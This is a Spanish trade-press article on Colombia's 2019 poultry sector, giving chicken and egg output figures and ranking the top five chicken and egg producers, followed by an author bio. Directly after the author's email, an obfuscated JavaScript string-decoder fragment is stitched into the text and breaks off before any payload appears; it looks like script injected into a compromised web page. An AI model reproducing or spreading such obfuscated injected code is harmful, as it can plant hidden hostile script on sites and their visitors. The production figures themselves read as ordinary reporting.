En el renglón de pollos, Colombia se ubica detrás de Brasil (6,468.6 millones de pollos) y México (1,832 millones de pollos), con una producción de 836.7 millones de pollos en 2019. Esto representa un alza de 4.07% respecto al 2018, cuando produjo 804 millones de pollos. En cinco años, el alza fue de 14.62% (con una producción de 730 millones de pollos en 2015).
En el renglón de huevos, la base de datos de IndustriaAvicola.net indica que en 2019 Colombia se convirtió en el tercer mayor productor de huevos al reportar 47 millones de ponedoras en producción*, un alza de 14.63% con respecto a 2018, cuando reportó 41 millones de ponedoras en producción. Con esta cifra, Colombia sobrepasó a Argentina, que en 2018 estuvo en el tercer puesto de producción de huevos. Argentina reportó 44.84 millones de ponedoras en producción en 2019 y 42.4 millones en 2018.
En cinco años, Colombia aumentó la cantidad de ponedoras en producción en un 27.03% (con 37 millones de ponedoras en producción en 2015).
Según Fenavi, el país produjo 14,383 millones de unidades de huevo en 2019, para un promedio mensual de 1,199 millones de huevos. Con estas cifras, el crecimiento fue de 1.5% en 2019, aunque el crecimiento en el periodo anterior fue de 5.6%.
Combinado, el sector avícola creció, según Fenavi, en un 2% en 2019. Aunque la gremial proyectaba crecimientos en ambos renglones en 2020, es posible que la pandemia de COVID-19 afecte la producción final. Previo a la pandemia, la proyección era un crecimiento de 2.5% en pollo y de 11.7% en huevo.
Las mayores empresas de pollo
Conozca las mayores productoras de pollo de Colombia, que producen cerca del 47% del total del pollo producido en el país:
La mayor empresa de pollos empresa de pollos en Colombia es Avidesa Mac Pollo con 150 millones de pollos sacrificados en 2019. La empresa aumentó en 5.63% su producción en 2019 con respecto a 2018, cuando produjo 142 millones de pollos. Con estas cifras, ocupa el décimo puesto entre las mayores empresas de pollo de Latinoamérica.
Avidesa comercializa sus productos bajo la marca Mac Pollo, con la que ofrece pollo fresco, productos preparados (como hamburguesa de pollo, pechuga rellena, albóndigas y pastel de pollo) y embutidos (distintos tipos de salchichas, patés, carne molida y otros).
En el segundo puesto de producción de pollos se encuentra Pollos El Bucanero, que desde 2017 es una subsidiaria de Cargill. Pollos El Bucanero produjo 74 millones de pollos en 2019, un aumento de un 5.71% con respecto al 2018, cuando produjo 70 millones de pollos.
La empresa comercializa sus pollos bajo la marca Bucanero, que ofrece una variedad de cortes de pollo, productos preparados y embutidos.
Con 70 millones de pollos producidos en 2019, Avícola Los Cambulos se ubica en el tercer puesto. La empresa no solo produce pollos, sino cerdos, huevos y abonos. También posee granjas de incubación.
En el cuarto puesto está Operadora Avícola (OPAV), con 51.8 millones de pollos sacrificados en 2019. La empresa forma parte del Grupo empresarial BIOS, que posee otras marcas del sector agroindustrial colombiano.
OPAV se creó de la unión de las empresas Pimpollo, Superpollo y Friko, por lo que el pollo se comercializa bajo estas marcas. Entre sus productos ofrece pollo fresco y procesado, enlatado y adobado.
La quinta empresa de producción de pollos en Colombia es Campollo, que desde 2018 es una subsidiaria de Cargill. La empresa produjo 41 millones de pollos en 2019, un alza de 2.5% con respecto al 2018 (40 millones de pollos).
Además de pollo y productos derivados, la empresa produce huevos, leche y arepas.
Además de ser la mayor empresa de huevos en Colombia, Incubadora Santander ocupa el décimo puesto a nivel de Latinoamérica. La empresa reportó 6.5 millones de ponedoras en producción en 2019, un alza de 8.3% con respecto al 2018 (con 6 millones de ponedoras en producción).
La empresa comercializa sus productos bajo la marca Huevos Kikes y produce huevos, huevos pasteurizados y huevo líquido pasteurizado.
Con 3.3 millones de ponedoras en producción, Nutriavícola SA se encuentra en el segundo puesto de producción de huevos en Colombia. La cifra representa un aumento de 17.86% con respecto a la cantidad de ponedoras en producción en 2018, que fue de 2.8 millones.
La empresa comercializa sus huevos bajo la marca Huevos Oro.
En el tercer puesto de producción de huevos se encuentra Avícola El Guamito, que reportó 2.7 millones de ponedoras en producción en 2019, un alza de 28.57% con respecto al 2018, cuando tuvieron 2.1 millones de ponedoras.
Con 2.2 millones de ponedoras en producción, Avícola AAA se ubica en el cuarto puesto entre las mayores empresas de huevo en Colombia. La empresa aumentó en un 10% la cantidad de ponedoras en producción respecto al 2018, cuando tuvo 2 millones de estas aves.
La empresa, que forma parte del Grupo BIOS, comercializa sus huevos bajo la marca Avícola Triple A Huevos.
La quinta mayor empresa de huevos en Colombia es Santa Anita Nápoles, con 2 millones de ponedoras en producción. La empresa comercializa sus productos bajo la marca Huevos Santa Anita.
*Nota de la redactora: se utilizan ponedoras en producción para poder comparar con otros países. Las ponedoras producen distintas cantidades de huevos dependiendo de su edad y tipo de producción.
Cindy Burgos Alvarado es editora asociada de la revista Industria Avícola, así como del sitio web www.industriaavicola.net. Es una periodista puertorriqueña con más de cinco años de experiencia realizando coberturas en temas políticos y económicos.
Posee una licenciatura en Información y Periodismo de la Universidad de Puerto Rico (UPR), con una segunda concentración en Sociología.
Puede contactarla a través de su correo electrónico: [email protected]. function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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11 de agosto de 2020